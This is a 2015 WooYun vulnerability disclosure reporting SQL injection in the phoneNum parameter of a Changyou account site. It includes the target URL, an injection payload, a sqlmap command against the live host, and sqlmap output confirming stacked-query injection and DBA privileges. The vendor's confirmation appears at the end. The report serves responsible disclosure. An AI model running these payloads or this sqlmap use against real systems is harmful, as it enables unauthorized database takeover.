当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141794

漏洞标题:畅游主库注射DBA权限可OS-SHELL

相关厂商:搜狐畅游

漏洞作者: godsec

提交时间:2015-09-17 17:05

修复时间:2015-11-01 17:22

公开时间:2015-11-01 17:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-17: 细节已通知厂商并且等待厂商处理中
2015-09-17: 厂商已经确认,细节仅向厂商公开
2015-09-27: 细节向核心白帽子及相关领域专家公开
2015-10-07: 细节向普通白帽子公开
2015-10-17: 细节向实习白帽子公开
2015-11-01: 细节向公众公开

简要描述:

Post,证明危害即可,不跑裤

详细说明:

URL:
http://account.pcjoy.cn/
post:

Method=phonecode&phoneNum=%25u8F93%25u5165%25u624B%25u673A%25u6216%25u90AE%25u7BB1%2520%25u7528%25u4E8E%25u767B%25u5F55%2520%25u5BC6%25u7801%25u627E%25u56DE%27and%2895%29%3D%2795%27--


注入参数为phoneNum;

漏洞证明:

root@kali:~# sqlmap -u "http://account.pcjoy.cn/phonecode.aspx" --data "Method=phonecode&phoneNum=%u8F93%u5165%u624B%u673A%u6216%u90AE%u7BB1%20%u7528%u4E8E%u767B%u5F55%20%u5BC6%u7801%u627E%u56DE" --current-db --is-dba
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150812}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:45:35
[16:45:35] [INFO] resuming back-end DBMS 'microsoft sql server'
[16:45:37] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: phoneNum (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Method=phonecode&phoneNum=%u8F93%u5165%u624B%u673A%u6216%u90AE%u7BB1 %u7528%u4E8E%u767B%u5F55 %u5BC6%u7801%u627E%u56DE';WAITFOR DELAY '0:0:5'--
---
[16:45:38] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[16:45:38] [INFO] fetching current database
[16:45:38] [INFO] resumed: joyaccount
current database: 'joyaccount'
[16:45:38] [INFO] testing if current user is DBA
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
current user is DBA: True
[16:45:48] [INFO] fetched data logged to text files under '/root/.sqlmap/output/account.pcjoy.cn'


22.jpg


QQ图片20150917165229.png


证明危害即可,不跑裤

修复方案:

月饼

版权声明:转载请注明来源 godsec@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-09-17 17:21

厂商回复:

感谢提交,正在修复中。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-21 09:58 | 搜狐畅游(乌云厂商)

    该库属于畅游乐动,而非畅游数据库。